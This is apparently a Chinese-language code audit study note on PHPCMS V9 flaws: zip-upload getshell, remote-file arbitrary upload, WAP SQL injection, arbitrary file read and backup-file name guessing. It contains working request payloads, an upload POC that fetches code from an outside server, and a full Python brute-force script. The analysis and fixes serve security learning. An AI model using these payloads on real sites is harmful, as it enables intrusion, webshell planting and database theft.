PHPCMSV9版本程式碼審計學習
學習程式碼審計,自己簡單記錄一下。如有錯誤望師傅斧正。
PHPCMS預備知識
PHPCMS是採用MVC設計模式開發,基於模組和操作的方式進行訪問,採用單一入口模式進行項目部署和訪問,無論訪問任何一個模組或者功能,只有一個統一的入口。
參數名稱 | 描述 | 位置 | 備註 |
---|---|---|---|
m | 模型/模組名稱 | phpcms/modules中模組目錄名稱 |
必須 |
c | 控制器名稱 | phpcms/modules/模組/*.php 文件名稱 |
必須 |
a | 事件名稱 | phpcms/modules/模組/*.php 中方法名稱 |
PHPCMSV9.2上傳Getshell
漏洞復現
我們搭建好環境直接註冊,找到修改頭像。
)
我們在本地創建一個zip文件裡面包含一個文件夾,一個我們的惡意程式碼。通過Burp修改掉。
訪問phpsso_server/uploadfile/avatar/1/1/1/av/av.php
其中1是我們的uid
漏洞分析
重複以上步驟。通過burp我們找到上傳事件,我們直接去程式碼定位這個函數。
然後去程式碼找到函數直接斷點調試
根據用戶UID創建文件夾,防止用戶多了文件夾重複創建了兩次,然後檢測目錄創建,沒有就創建一次,否則跳過。
根據uid重命名我們的壓縮包文件
壓縮包的文件就是我們上傳的壓縮包文件
之後進行解壓縮文件
之後進入dir中循環判斷文件安全,刪除壓縮包和非jpg圖片
走到遍歷白名單判斷文件,排除.
(當前目錄)..
(上級目錄)下圖刪除了壓縮包文件
再次循環時$file=av 而av是目錄。unlink是不能刪除目錄的。所以出現異常。
所以進而我們的惡意文件留在了伺服器裡面。這就是為什麼上面利用的壓縮包里的惡意程式碼文件需要放在目錄下
漏洞修復
不使用zip壓縮包處理圖片文件。因為後端需要處理特別多的數據。
PHPCMSV9.6.0任意文件上傳漏洞
漏洞復現
先註冊然後抓包
其中要準備一個遠程的伺服器下的惡意程式碼
準備我們的POC如下
siteid=1&modelid=11&username=123456&password=123456&[email protected]&info[content]=<img src=//192.168.0.100/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=
然後修改放包會報一個錯誤,會返回我們的URL路徑
漏洞分析
我們直接找到剛剛我們的包,他是在index.php
進入member
模組中的index
文件裡面有一個register
函數
我們現在打開我們的程式碼定位函數,路徑如下
為了更好的理解POC的巧妙。我們正常註冊一次然後用POC註冊一次分析
前面就是一堆資訊的驗證作用不大,我們繼續跟蹤到130行
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']); //重點 }
在這裡我們看見$_POST['info']
使用了member_input
類中的get
方法我們跟蹤進去。
走到47行獲取了datatime
函數,this->fields
是一個動態函數對應的一張表根據modelid
來確定的formytpe
。如下圖
【也可以跟進去一步步來,微信搜索黑白天的文章。有詳細解釋,建議自己跟一遍】
我那們跟進去datatime
函數 就是做了一校驗然後又返回給$value
然後就是插入兩次資料庫,一個插入v9_member
表一個生日日期和用戶id插入到v9_member_detail
表中,至此正常流程走完。
接下來我們分析一下POC流程
值得注意的是我們必須保證username email是唯一
然後我們繼續定位到130行,發現content
是我們的內容
經過new_html_special_chars
就是防止XSS 所以實體化
於是我們變成了下面這樣子。繼續跟蹤get方法同上
這裡我們獲取的是editor
函數。
在這個函數中我們有一個download
方法
我們跟蹤download方法,發現以下關鍵程式碼
$ext = 'gif|jpg|jpeg|bmp|png'
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
這就是為什麼我們寫info[content]=<img src-//xxxx/phpinfo.txt?.php#.jpg(符合這個格式,而且加.jpg
的原因)
到155行這裡他把我們的$string
值複製給了$matches
$matches [3]剛好是我們的鏈接,所以真的很巧妙
接著我們跟蹤fillurl
方法,裡面有一串關鍵程式碼如下
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
strpos
定位#,然後使用substr
處理?.php#.jpg
,處理完之後$surl =?.php
繼續執行,可以發現返回的url去掉了#後面的內容
然後獲取後綴名。然後通過getname
方法生成時間+三位數的文件名,如果不返迴文件地址的url我們也可以進行爆破處理。
此時進行了copy
函數對遠程文件下載
這裡的$this->upload_func
是copy函數的原因,是因為初始化時賦給的
此時我們的文件已經到我們的本地了
接著我們來看看寫入文件的路勁是如何返回給我們的。上面程式執行完以後,回到了register
函數中:
繼續跟進$this->db->insert($user_model_info);
發現資料庫插入的欄位都不一樣繼續執行就會報錯。前台提示的資訊一樣,沒有這個欄位當然報錯
Message : Unknown column ‘content’ in ‘field list’
漏洞修復
在phpcms9.6.1中修復了該漏洞,修復方案就是對用fileext
獲取到的文件後綴再用黑白名單分別過濾一次
$filename = fileext($file);
if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
continue;
}
PHPCMSV9.6.0 WAP模組 SQL注入分析
漏洞復現
首先第一步訪問
/index.php?m=wap&c=index&siteid=1
把得到的set-cookie 記錄下來
第二步以POST方式訪問【下面是測試爆user的】就是一個報錯注入語句
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
並且傳參userid_flash
其中的值就是第一步我們得到的set-cookie
userid_flash=72eciDDbmkE3Tr6LjGQhB3H34p3N1xsgWWbi2VNY
把加密的json
值記錄下來
第三步以POST的方式訪問
/index.php?m=content&c=down&a_k=第二步得到的Json值
漏洞分析
其實我們就是通過最後一次提交的數據來爆出來的東西。我們就逆向分析。看第三步的URL做了些什麼
/index.php?m=content&c=down&a_k=第二步得到的Json值
我們定位到content
模組down
文件中發現並沒有a_k
方法
說明是自動執行的那就是init()
和__construct()
__construct()
基本沒東西,我們直接下斷init
走到14行看到sys_auth
然後他就是一個加密解密的函數,我們這裡不分析加密解密只分析功能
經過sys_auth
解密得到
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}
走到17行發現一個系統函數parse_str
這個函數用不好容易出現變數覆蓋。可以自己查一下
我們知道用法了就是把$id
給弄出來
然後直接到26行跟蹤get_one
函數,發現後面就直接執行語句了。
肯定有人現在好奇那第三步為什麼會得到這個值,我們返回到14行
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
我們怎麼得到a_k的值,怎麼得到的這個規範進行解密,因為他需要(‘system’,’auth_key’)我們並不知道
所以我們需要知道誰調用了這個函數
我們回到第二步的POC
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=###payload###&m=1&f=haha&modelid=2&catid=7&
userid_flash=Set-Cookie
我們找到attachment
模組下的attachments
文件中的swfupload_json
函數
到src
時有一個safe_replace
函數我們跟進
發現一個waf所以我們的src為什麼要寫成%*27的原因,就是為了繞過一次waf
繼續到set_cookie
我們跟進去發現set_cookie
調用了sys_auth
這個函數並且進行了ENCODE
剛好我們又可以再前台看見
至於我們為什麼要傳入一個POST值,是在__construct
中如果沒有這個userid
他會showmessage
而userid
是17行的關鍵程式碼。我們肯定沒有userid
嘛所以三元表達式到第三個,他進行解密一次並且userid=1
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
現在POST值是怎麼拿到的呢,回到第一步,訪問的URL
/index.php?m=wap&c=index&siteid=1
我們周到wap
下的index
下的siteid
而siteid
直接就在__construct
函數裡面,於是經過一次set_cookie
加密
我們現在來順利一下整個過程
修復建議
把$a_k過濾一次,把$id用intval
過濾一次
PHPCMS9.6.1任意文件讀取
漏洞復現
步驟同上一個漏洞所以就不截圖了
第一步訪問把得到的set-cookie 記錄下來
/index.php?m=wap&c=index&siteid=1
第二步訪問
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp
同樣POST傳遞值
userid_flash=第一步獲取的Set-cookie
第三部訪問
/index.php?m=content&c=down&a=init&a_k=第二步獲取的set-cookie
就可以下載我們要下載的文件
漏洞分析
我們還是和wap_SQL注入
那樣逆向分析一下
/index.php?m=content&c=down&a=init&a_k=set-cookie
經過解密之後
{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=.\/phpcms\/base&f=.p%253chp","filename":""}
經過safe_replace
處理之後
"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=./phpcms/base&f=.p%253chp","filename":""
但是我們關鍵的是&s和&f沒有任何變化
再經過parse_str
處理我們的url會被解碼一次
$f現在就是.p%3cphp
然後downurl
發生變化我們點擊下載到download函數
經過一次解密再經過parse_str
轉碼%3c=> <
走到118行因為傳遞的m=1經過$fileurl
把他拼接起來變成
.\phpcms\base.p<hp
if($m) $fileurl = trim($s).trim($fileurl); //118行程式碼
然後走到125行進行隨機名稱生成,126行他又把$fileurl
的<給去掉了
$filename = date('Ymd_his').random(3).'.'.$ext; //125
$fileurl = str_replace(array('<','>'), '',$fileurl); //126
然後就進行一個原始下載。
第二部分和第一部分參考上面wap_sql
注入,原理一樣。我們現在梳理一下這個漏洞。
從最下面分析,他過濾了<> 然後到上面php等一些黑名單 那就P<HP就可以
$fileurl
是通過$s
來的和$f
來的。而$f和$s
是通過構造$a_k
來的,其中就DECODE
了兩次
所以要通過siteid=1
來進行ENCODE
一次。我們為什麼要傳一個userid_flash
因為attachments
下的析構函數中的userid
不能為空
而我們沒登陸所以需要sys_auth($_POST['userid_flash'],DECODE')
解密一下傳入的userid_flash
使得userid=1
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] :(param::get_cookie('_userid') ? param::get_cookie('_userid') :sys_auth($_POST['userid_flash'],'DECODE'));
又經過set_cookie('att_json',$json_str)
;然後又返回到前台set-cookie
最終通過以下方法進行了下載
index.php?m=content&c=down&a=init&a_k=set-cookie
漏洞修復
官方V9.6.2是先過濾<>再進行php等黑名單過濾,我們還是可以繼續通過空白字元來進行繞過的
%81-%99間的字元是不會被trim去掉的且在windows中還能正常訪問到相應的文件。並且得到auth_key之後還可以進行其他的操作例如SQL注入等
PHPCMSV9暴力猜解資料庫
備份路徑 \caches\bakup\default\xxxx.sql
而問題出現在哪,我們先看POC。
poc:
/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql
原因:
windows的FindFirstFile(API)有個特性就是可以把<<當成通配符來用而PHP的opendir(win32readdir.c)就使用了該API。PHP的文件操作函數均調用了opendir,所以file_exists也有此特性。
pwaaov0zodprrm5371pe_db_20210715_1.sql
file_exists — opendir — FindFirstFile — << 通配符
file_exists – << 通配符
333xxxx.sql
3<<.sql
file_exists(3<<.sql)
因為返回的只不同所以我們可以逐個猜解
附上鬥魚Sec腳本
#!/usr/bin/env python
# coding=utf-8
'''
author: dysec
'''
import urllib2
def check(url):
mark = True
req = urllib2.Request(url)
req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
response = urllib2.urlopen(req)
content = response.read()
if 'Cannot' in content:
mark = False
return mark
def guest(target):
arr = []
num = map(chr, range(48, 58))
alpha = map(chr, range(97, 123))
exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
while True:
for char in num:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue
if len(arr) < 20:
for char in alpha:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue
elif len(arr) == 20:
arr.append('_db_')
elif len(arr) == 29:
arr.append('_1.sql')
break
if len(arr) < 1:
print '[*]not find!'
return
print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))
if __name__ == "__main__":
url = '//www.x.com'
#test
guest(url)